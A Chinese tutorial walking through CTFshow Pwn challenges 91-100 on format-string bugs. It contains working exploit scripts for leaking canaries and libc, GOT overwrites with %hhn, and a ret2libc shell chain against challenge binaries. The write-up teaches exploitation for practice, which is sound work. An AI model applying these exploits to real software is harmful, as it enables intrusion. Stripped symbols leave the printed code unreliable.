
CTFshow 的 Pwn 入门系列做到 91-100正好是格式化字符串的专题区间。如果你刚好卡在这一段说明前面的栈溢出基础已经过关了接下来要面对的是 CTF Pwn 里最“艺术”的一个漏洞类型——格式化字符串漏洞。说实话格式化字符串是入门阶段最讲究技巧的一个方向。它不像栈溢出那样只要算好偏移、填好 payload 就能打通格式化字符串要求你对printf家族函数的内部机制有足够深的理解还得能在 64 位环境下熟练处理参数传递、字节对齐、地址截断这些细节。但好消息是这类题目的规律非常强套路也几乎固定只要把 91-100 这十道题吃透以后遇到任何格式化字符串的题目你都能很快找到突破口。这篇文章就把我做这十道题的过程、踩过的坑、以及最终的利用思路完整拆开来讲希望能给正在刷这个系列的朋友一点帮助。1. 内容整体设计与思路拆解1.1 91-100 在整个入门流程里的位置CTFshow 的 Pwn 入门模块安排得很讲究前面 1-90 基本覆盖了栈溢出、ret2text、ret2shellcode、ret2libc 这些常规题型让你对程序执行流劫持有了基本概念。到了 91-100突然切换到格式化字符串很多人的第一反应是这跟栈溢出有什么关系关系太大了。格式化字符串漏洞的利用本质上也是一种内存破坏只不过它利用的不是缓冲区溢出而是printf家族函数对格式化参数的错误解析。通过精心构造的格式化字符串你可以实现内存泄露和任意地址读写而这些能力恰好是绕过 PIE、ASLR、Canary 的关键。这十道题的难度梯度设置得很合理。前几题只要求你泄露一些栈上的数据算是热身中间几题开始要求你泄露 libc 地址并计算基址最后几题基本就是综合题了需要你结合格式化字符串和栈溢出的知识完成一次完整的 getshell。1.2 为什么格式化字符串漏洞是“必学项”我在刚开始学 Pwn 的时候也觉得格式化字符串漏洞是不是太偏门了实际漏洞利用中用得并不多。但真正刷完这套题之后我的看法完全改变了。格式化字符串漏洞之所以被放在入门系列的末尾是因为它几乎串联起了 Pwn 里所有重要的知识点。你需要理解栈帧结构才能搞清楚格式化参数是从哪里读取的你需要理解 GOT/PLT 机制才能利用任意地址写改写函数指针你需要理解 libc 版本差异才能准确计算偏移得到 shell。这些知识点单独学都很枯燥但通过十道循序渐进的题目串联起来你会发现之前很多似是而非的概念一下子清晰了。所以如果你时间有限可以跳过前面的部分题目但这十道格式化字符串的题我建议你一道一道认真做完。它们教给你的不是某种单一的利用技巧而是 Pwn 学习中最基本的一种“信息收集利用链构造”的思维方式。1.3 这套题的核心考察方向按照我的做题经验91-100 考察的知识点大概可以分为三层第一层91-93格式化字符串的基础泄露。题目会给你一个明显的printf(buf)让你通过构造%p、%x、%s等格式化占位符泄露栈上的数据或者任意地址的内容。这一阶段的核心是掌握参数偏移的计算方法。第二层94-96利用泄露绕过防护机制。程序往往开启了 PIE 或 Canary你需要先通过格式化字符串泄露程序基址、Canary 值或者 libc 地址然后结合栈溢出完成利用。这一阶段的核心是把泄露的信息“组装”成可以利用的 payload。第三层97-100任意地址写与综合利用。程序可能关闭了 PIE或者有后门函数但你不能直接跳转过去需要利用%n配合printf的写功能改写 GOT 表项或者返回地址实现控制流劫持。这一阶段的核心是%n的精确控制和各种写法的灵活运用。后面我会按这个思路把每一层的具体做法和完整脚本都展开讲。2. 核心细节解析与实操要点2.1 格式化字符串漏洞的底层原理在展开题目之前有必要把原理彻底讲清楚。很多初学者看完 writeup 能复现但换一道题就不会了根本原因是对printf的机制理解不到位。printf的调用约定是这样的第一个参数是格式化字符串format其余参数根据格式化字符串中的占位符依次填充。比如printf(%s %d, str, num)%s对应str%d对应num。关键问题来了如果格式化字符串不是常量而是用户输入的内容比如printf(buf)那么printf函数会拿buf里的内容当作格式然后从栈上或者寄存器里取出“参数”来填充格式化占位符。在 64 位环境下前六个参数存放在RDI、RSI、RDX、RCX、R8、R9寄存器中多余的参数才从栈上取。printf内部则会按照这个约定去读取。当你只传入一个参数也就是格式化字符串本身时后面的RSI、RDX等寄存器里是什么值printf就会把它们当作格式化指令需要的数据输出。这就是格式字符串漏洞可以泄露栈和寄存器数据的原因。漏洞利用的本质可以概括为一句话你给printf一个含有占位符的格式串它就会按约定去内存里取数据而这些“原本不该被输出”的数据恰好就暴露给了你。读%p按指针长度读取并打印一个值%s把参数当作地址打印该地址指向的字符串%x按十六进制读取一个整数。写%n会把目前为止已经打印的字符数写入到参数指定的地址中。配合%c的宽度控制和%hhn、%hn的写入长度控制就能实现对任意地址的任意字节写入。2.2 参数偏移计算这套题的核心基本功做格式化字符串题目第一步永远都是确定“我输入的参数在 printf 的参数列表中是第几个”。这个偏移直接决定了你后续所有 payload 的构造方式。我以 64 位程序为例给出最快确定偏移的方法用 gdb 跑程序断点在printf上输入AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p。观察输出找到 ASCII 码0x4141414141414141出现的位置。如果出现在第 N 个%p说明你输入的字符串在 printf 的第 N 个参数位置从 1 开始数第 6 个参数开始是栈上内容。比如实测输出0x4141414141414141出现在第 8 个那么偏移就是 8。之后你构造%8$p就能直接泄露你输入的 8 字节数据。这个过程中最容易踩的坑是地址对齐问题。在 64 位下printf输出完前 5 个寄存器参数后从第 6 个参数开始读栈。但栈上数据的排列跟你输入缓冲区的对齐有关系。如果你的输入是从缓冲区开头开始的那么你输入的内容在栈上出现的位置可能和理论值差 1 到 2 个参数。所以一定要实测不要靠猜。2.3 32 位与 64 位利用的差异91-100 里面绝大部分是 64 位程序但偶尔也会出现 32 位的题目。两种架构在利用方式上差别很大如果在 64 位环境下用 32 位的思路去构造 payload结果往往是一头雾水。主要差异有三点参数读取方式不同32 位下所有参数都从栈上读取所以参数偏移从栈顶开始数就行64 位下前几个参数在寄存器里偏移要从寄存器之后的栈位置算起。也就是说同一个格式化字符串32 位和 64 位下的偏移可能差很多。地址长度不同32 位地址是 4 字节64 位是 8 字节。构造 payload 时64 位需要额外考虑地址对齐问题因为你输入的地址很可能跟格式化占位符不在同一个 8 字节边界上导致%s读取失败。写入大小限制不同%n在 32 位下写入 4 字节在 64 位下写入 8 字节。但实际利用中我们更常用%hhn写 1 字节因为在 64 位下要写的地址往往很大直接%n会导致写入字节数超过可接受范围而且%hn和%hhn给了我们更精细的控制。我在做这套题时的一个心法是开局先checksec看架构再决定用哪套模板。如果是 64 位优先考虑 8 字节对齐和%hhn写字节如果是 32 位直接按栈偏移算就行简单很多。2.4 必备工具与环境准备工欲善其事必先利其器。刷格式化字符串题这几样工具是缺一不可的pwntools最核心的 Python 库用于编写漏洞利用脚本尤其是fmtstr_payload函数可以直接生成格式化字符串利用 payload省去手动计算的麻烦。checksec检查程序防护机制。一般集成在 pwntools 中运行checksec 文件名即可看到 NX、PIE、RELRO、Canary 等保护是否开启。IDA Pro 或 Ghidra用于静态分析找到漏洞函数、查看后门函数地址、确认 GOT 表结构。gdb pwndbg / peda动态调试神器。尤其是计算偏移、验证地址写入结果的时候离开 gdb 寸步难行。one_gadget用于查找 libc 中的 one_gadget 地址某些题目可以简化利用链。工具链装好之后建议先写一个通用的 pwntools 连接模板把本地调试和远程利用统一起来省得每道题都重复写连接代码。后面我给的完整 exp 里也会包含这个模板。3. 实操过程与核心环节实现3.1 第一阶段91-93泄露栈数据与计算偏移这个阶段的题目通常比较简单二进制程序里会有一个明显的格式化字符串漏洞函数大概率是直接read读入输入然后printf(input)。我以典型的 64 位程序为例演示一遍完整的泄露流程。拿到题目后第一步不是写 exp而是先运行一下程序观察交互逻辑。用 checksec 查看防护$ checksec pwn91 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)看到 No PIE 心里就踏实了程序基址固定不需要泄露。No canary 意味着栈溢出直接就能打但格式化字符串题目考察的重点不在于此。然后用objdump -d或者 IDA 查看 main 函数的反汇编找到漏洞函数的地址。通常你会看到类似这样的代码char buf[100]; read(0, buf, 100); printf(buf);这就是标准的格式化字符串漏洞。现在我们构造一个探测字符串来确定偏移from pwn import * p process(./pwn91) p.sendline(bAAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p) print(p.recvline())观察输出找到0x4141414141414141出现在第几个位置。假设出现在第 6 个位置即.0x4141414141414141.那么偏移就是 6。于是我们后续用%6$p泄露第一个我们可控的 8 字节数据。91-93 这类题往往还会让你泄露栈上的 flag 或者某个特定变量。比如程序在调用 printf 之前可能把 flag 内容读到了一个全局变量里或者在栈上留下了一个函数的返回地址。你需要做的就是确定 flag 存储在哪个地址或者栈的哪个位置。在 gdb 里用stack 50查看栈上数据找到可疑内容。如果 flag 在栈上直接用%i$s泄露如果在内存某个地址就构造「地址 %i$s」的 payload 去读取。这里有一个非常实用的判断方法先用%p把栈上几十个参数全部打出来然后逐一观察。如果看到类似0x666c61677b...这样的内容那就是 flag 的 ASCII 码直接逆序转成字符串就行了。因为 flag 的格式一般是ctfshow{...}开头几个字符的十六进制是固定的0x6c667463看字节序在%p输出里非常显眼。3.2 第二阶段94-96泄露 libc 地址与计算基址到了这个阶段题目开始引入 PIE 和 ASLR。程序加载地址随机化之后你无法直接使用绝对地址跳转必须先泄露一个运行时地址再计算出程序基址和 libc 基址。典型场景是这样的程序开启了 PIE有一个明显的格式化字符串漏洞同时还有一个明显的栈溢出漏洞比如gets或read读入超长内容。利用思路分三步第一步泄露地址。程序在printf之前栈上某个位置可能保存了 libc 函数的返回地址比如__libc_start_main的地址或者某个 GOT 表项的内容。我们需要通过格式化字符串找到这个位置。做法是用%p先泄露前二三十个参数然后逐一比对。在 pwndbg 里start之后用telescope观察栈上数据很快就能找到类似0x7f........开头的高位地址这些就是 libc 空间的可执行地址通常是某个函数内部地址。得到地址后用libc.address leak_addr - libc.symbols[__libc_start_main]或者libc.address leak_addr - offset计算出 libc 基址。这里的 offset 可以通过 IDA 查__libc_start_main与基址的差值或者在本地用p.libc()的方法获取。第二步泄露 Canary。如果程序开启了栈保护你的栈溢出 payload 里必须包含正确的 canary否则程序会在返回前检测到栈被破坏并 abort。Canary 通常存在栈的某个固定偏移位置通过格式化字符串同样可以泄露。这里我提供一个高效的泄露方法先用 gdb 的canary命令找到 canary 在栈上的位置查看它对应 printf 参数的第几个。然后在 payload 里用%i$p直接读出 canary 的 8 字节内容。注意 canary 的最低字节通常是0x00泄露时需要去掉干扰字符。第三步构造最终利用链。拿到 canary 和 libc 基址之后栈溢出利用就变简单了。最简单的方案是 ret2libc 调用system(/bin/sh)。你需要计算system地址system_addr libc.address libc.symbols[system]。找到/bin/sh字符串地址binsh_addr libc.address next(libc.search(b/bin/sh))。找一个pop rdi; ret的 gadgetpop_rdi libc.address next(libc.search(asm(pop rdi; ret)))。构造 payloadbA * padding p64(canary) bA * 8 p64(pop_rdi) p64(binsh_addr) p64(system_addr)。这里的 padding 是缓冲区到 canary 的偏移需要根据程序栈帧确定。在 gdb 里用pattern create和pattern offset可以快速算出来。下面是一份完整的 exploit 示例注释都写清楚了from pwn import * context.arch amd64 context.log_level debug p process(./pwn95) elf ELF(./pwn95) libc ELF(./libc.so.6) # 第一步泄露 canary 和 libc 地址 payload1 b%15$p.%17$p p.sendline(payload1) recv p.recvline().split(b.) canary int(recv[0], 16) libc_leak int(recv[1], 16) libc_base libc_leak - 0x24083 # 不同 libc 版本这个偏移不同用本地 libc 调一次就能确定 log.success(canary: hex(canary)) log.success(libc_base: hex(libc_base)) # 第二步计算利用所需地址 system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) pop_rdi libc_base 0x23b6a # 用 ROPgadget 查找 # 第三步栈溢出 getshell padding bA * 56 # 根据栈帧计算实际偏移 payload2 padding p64(canary) bB * 8 payload2 p64(pop_rdi) p64(binsh_addr) p64(system_addr) p.sendline(payload2) p.interactive()这个阶段最容易翻车的点是 libc 版本不一致。本地调试通了远程一打就崩八成是远程 libc 和本地 libc 版本不同导致偏移计算错误。这时候要么用LibcSearcher这类工具去匹配指纹要么根据泄露地址查 libc 数据库。3.3 第三阶段97-100任意地址写与 GOT 表劫持前面两个阶段用到的核心能力是“读”到了 97-100重点转向了“写”。格式化字符串的写是利用%n族占位符实现的%n把已经输出的字符个数写入指定地址。通过组合多个%n我们可以在任意地址写入任意值。这个阶段最常见的题型是程序没有 PIE有一个后门函数backdoor或者win但正常流程不会调用它。同时还存在一个明显的格式化字符串漏洞让你有机会改写某个函数指针或返回地址。最简单的方案是改写 GOT 表。比如程序调用了printf但之后还会调用exit。如果我把exitgot也就是exit这个函数在 GOT 表中的地址改写为backdoor的地址那么程序调用exit的时候就会跳到backdoor执行。这里有几个关键点需要特别注意第一个GOT 表是否可写。用 checksec 查看 RELRO。Full RELRO 下 GOT 表是只读的改写必然失败Partial RELRO 下 GOT 表可写这是我们最常遇到的情况。如果是 Full RELRO就得换个思路比如改写返回地址或者劫持__stack_chk_fail这类延迟绑定的函数。第二个地址高字节截断问题。64 位程序的后门函数地址往往形如0x400xxx高 4 个字节都是0x00。如果你直接把完整地址写到栈上printf在读取时会在0x00处停止导致后面内容读不到。解决方法是把地址放到 payload 的末尾或者分两次写入高低 4 字节。第三个每次写入需要的字符数越来越多。如果你要写一个较大的值比如0x8048567意味着你需要先让 printf 输出这么多字符这在实际利用中是不可行的。所以我们要拆分成多个字节来写通常用%hn每两字节一写或者用%hhn每字节一写。每写一个字节之前用%c控制当前输出长度到目标值。下面我用一个标准的%hhn字节写入来演示利用方式。假设计划把backdoor地址0x400xxx的 4 个字节分别写到地址addr0、addr1、addr2、addr3处。# 计算后门函数地址的四个字节 target 0x400xxx byte0 target 0xff byte1 (target 8) 0xff byte2 (target 16) 0xff byte3 (target 24) 0xff然后构造格式化字符串利用%k$hhn把当前字符数与byte0对齐后写入第 k 个参数指向的地址。先写小的字节再写大的字节因为%c的填充只能增加字符数一旦超过目标值就得绕一大圈。手动构造%hhnpayload 很容易出错因为要对齐偏移、排序字节、控制字符数。为了稳妥可以用 pwntools 自带的fmtstr_payload函数自动生成 payload。例如payload fmtstr_payload(offset, {exit_got: backdoor_addr}, write_sizebyte)这一行代码就完成了找到参数偏移为 offset 的位置把backdoor_addr的每个字节写入exit_got对应地址。write_sizebyte表示使用%hhn一字节一字节地写。这个函数在入门阶段非常省力但建议你至少手工构造一次%hhn的 payload搞清楚里面的原理后面遇到需要手工调整的复杂环境才不会被函数限制住。写完 payload 之后发送payload程序调用exit时就会跳转到后门函数直接拿到 shell。如果你没有现成的后门函数另一个常见思路是改写 GOT 表中的某函数为 system 地址同时让某个参数恰好变成/bin/sh。这种玩法更进阶但万变不离其宗核心还是任意地址写。3.4 任意地址读的思路与%s的坑在 97-100 中任意地址写经常还需要配合任意地址读。比如你需要知道某个 libc 函数的实际地址才能计算 system 的地址但程序并没有直接泄露给你。这时候就需要用%s加地址来读。构造方法很简单在 payload 的开头放一个你要读取的地址在 64 位下是 8 字节然后用%i$s把这个地址当作指针打印它指向的内容。举个例子如果你想读取printfgot的内容也就是 printf 的实际运行地址可以这样payload p64(printf_got) b%6$s其中%6$s的 6 要替换成你实际算出的偏移。printf会把你输入的第一个 8 字节当作参数 6 的值也就是一个地址然后打印这个地址指向的字符串。由于这个地址保存的是一个真实的 libc 地址打印出来的就是它对应的字节内容。这里有一个非常容易踩到的坑%s是打印字符串遇0x00会停止。如果你读取的地址内容含有大量0x00得到的内容可能不完整。常见的解决办法是连续多次读取每次调整偏移读不同位置或者直接改用%p读取指针本身的值。另外还有一个字节序问题在 64 位小端环境下地址的存储顺序是反的写入 payload 时用p64()自动处理好即可。手工构造时千万别写反了。3.5 手工构造%hhnpayload 的完整流程虽然fmtstr_payload很方便但我还是强烈建议你手动构造一次。原因是远程环境经常出现地址里有换行符、空格等情况或者贪心要求你不能用fmtstr_payload一步到位这时候就需要手工调整。手动构造%hhnpayload 的流程如下确定你用的是第几个参数假设是偏移 k。确定要写入的地址列表目标地址 addr0、addr1、addr2、addr3分别是目标地址的低地址到高地址通常连续排列。确定要写入的值目标函数地址的四个字节 byte0、byte1、byte2、byte3。按照“先写小值再写大值”的顺序排列%n这样可以减少%c填充量。把地址放在 payload 开头保证地址位于参数 k 的位置。构造格式串地址序列%c 数量c%偏移$hhn * 4。举个例子假设计划把0x401157写入0x601018分别按字节写# 目标字节 b0 0x57 # 写入 0x601018 b1 0x11 # 写入 0x601019 b2 0x40 # 写入 0x60101a b3 0x00 # 写入 0x60101b # 先写小的再写大的顺序是 b0(0x57), b2(0x40), b1(0x11), b3(0x00) 需要重新排列 # 但 b1 b0 b2 这里需要排序原则是从小到大排序原则是让%c的填充量最小。假设按顺序写 0x11、0x40、0x57、0x00注意 0x00 需要绕一圈因为当前字符数不可能减少只能通过取模循环到 0格式化字符串大致长这样payload b payload p64(addr0) p64(addr1) p64(addr2) p64(addr3) payload b%17c%k$hhn # 填充到 0x11 17 payload b%47c%m$hhn # 再填充 47累计到 0x40 64 payload b%23c%n$hhn # 再填充 23累计到 0x57 87 payload b%169c%o$hhn # 再填充 169累计到87169 256 0x100取模后就是 0x00注意这里的%k$hhn、%m$hhn等偏移要替换成实际地址对应的参数编号而且因为前面加了多个 8 字节地址参数偏移会整体后移。这也是最容易出错的地方我每次都会在 gdb 里验证一下当前参数偏移再决定填哪个数字。手工构造虽然繁琐但构造一次之后你对格式化字符串的理解会有一个质的提升。4. 常见问题与排查技巧实录刷这十道题的时候我记录了一些高频问题这里整理成速查表方便你遇到同样情况时快速排查。现象可能原因排查方法%p泄露时找不到0x41414141参数偏移计算错误用 gdb 断点确认 printf 参数逐步尝试每个偏移%s读取地址时报错或返回空地址没有正确放在参数位置或地址本身不可读用 gdbx/gx确认目标地址可读检查 payload 的对齐程序在 printf 之前就崩了payload 里含有0x00截断或者地址被截断把地址移到 payload 末尾或用fmtstr_payload自动处理本地打通远程不通libc 版本不一致用 libc 指纹工具匹配远程 libc重新计算偏移%n写入之后程序崩溃写入了只读地址或非法地址用 checksec 检查 RELRO确认目标地址可写fmtstr_payload生成的 payload 长度不够或参数偏移不对本地能过但远程 payload 因地址含0x0a被截断手工构造 payload避免地址中的换行符泄露的 canary 是 8 字节但最后一位不是0x00读取了错误的数据重新确认 canary 的栈偏移canary 末位始终为0x00PIE 开启时地址全变泄露了但不是程序基址观察泄露的高位地址类型区分是 libc 还是 PIE 段地址还有一些独家的排查经验这里单独展开说。第一用 pwndbg 的 fmtarg 插件。pwndbg 自带了一个非常实用的插件叫fmtarg你只要把断点下在 printf 上然后在 gdb 里执行fmtarg 8它就会直接告诉你第 8 个参数对应的栈地址以及这里存储的内容是什么。这在计算偏移的时候非常省时间比手动试%p快多了。第二payload 里的地址不要放在最开头。很多初学者喜欢把地址放在 payload 最前面然后后面跟格式化占位符。但如果地址里有\x00尤其是 64 位地址的高位全是 0read和scanf这种输入函数会直接截断导致后面的占位符全部失效。解决方法是把地址放在 payload 中间或者末尾然后通过偏移计算确保地址能落在正确参数位置。实践中我更喜欢用fmtstr_payload处理这个问题它会自动把地址放在合理的位置。第三远程交互时多读几行输出。用 pwntools 的recvline()经常会拿不到完整的输出因为程序可能比你预期多输出了一行或者有交互提示。稳妥的做法是用recvuntil(b)这样的方式卡住交互位置或者用recvrepeat(0.3)把一段时间内收到的所有数据全部拿到再从中提取关键信息。5. 从 91-100 延伸到真实利用的技巧刷完这十道题之后并不意味着格式化字符串的学习就结束了。反而这套题给我打下了一个很好的基础让我在后续分析真实世界漏洞时有了更强的敏感度。这里分享一些延伸出来值得继续深入的方向。第一类是格式化字符串结合堆利用。入门题里漏洞通常发生在栈上但实际场景中格式化字符串的输入缓冲区可能位于堆上。这时候需要先泄露堆地址再计算堆地址与栈地址的关系最后才能完成任意地址写。这套题的 97-100 如果做得比较熟练你在遇到堆上的格式化字符串时就不会觉得无从下手。第二类是不同位数程序的切换。我建议你把手动构造 payload 的流程分别在 32 位和 64 位环境下各完整走一遍。32 位下参数全部在栈上偏移计算更直观但地址长度短、%n写入宽度不同会带来一些新问题64 位下则要考虑寄存器传参和地址对齐。两套思路都熟练之后遇到真实题目才能快速切换。第三类是读代码时留意所有printf调用。有的题目不是直接一个printf(buf)这么明显而是把用户输入传给了snprintf、fprintf、sprintf等变体。这些函数同样存在格式化字符串漏洞。判断一个函数是否可被利用只要看用户输入是否作为 format 参数传入以及后面的参数是否可控。多看一些真实 CVE 中格式化字符串的案例比如某些服务端程序在处理用户输入时直接打印你会对这种漏洞的实际危害有更直观的感知。第四类是利用格式化字符串实现信息泄露的组合拳。格式化字符串不只能泄露单一的地址通过合理设计格式串你可以一次性泄露 canary、PIE 基址、libc 基址、栈地址等多种信息。在真实的漏洞利用中信息收集的完整度和准确性决定了利用链的稳定性。建议你把这套题的每一道都做一遍“一次交互泄露所有需要的信息”的练习这在将来限时攻防赛中会派上大用场。我个人在刷完 91-100 之后还有一个体会是一定要去写一篇自己的总结文档。把每一道题的漏洞触发点、利用思路、最终脚本、踩坑记录都整理出来。CTF 题目刷得再多如果不做总结过一两周就忘得差不多了。但你要是把解题思路和踩坑过程写下来相当于给未来的自己留了一份宝贵的备忘遇到同类题目时翻一翻解决问题的速度至少快一倍。格式化字符串这套题的核心价值不在于让你学会某个具体的 trick而在于培养一种“从不可控中寻找可控”的思维方式。当你面对一个只能输入格式串的程序时你的任务是在看似随机的内存数据中找到可以利用的信息在看似无路可走的情况下构造出通往 shell 的路。这种思维方式在后续所有 Pwn 题目里都用得上。希望这份记录能帮你少走一些弯路把 91-100 真正吃透。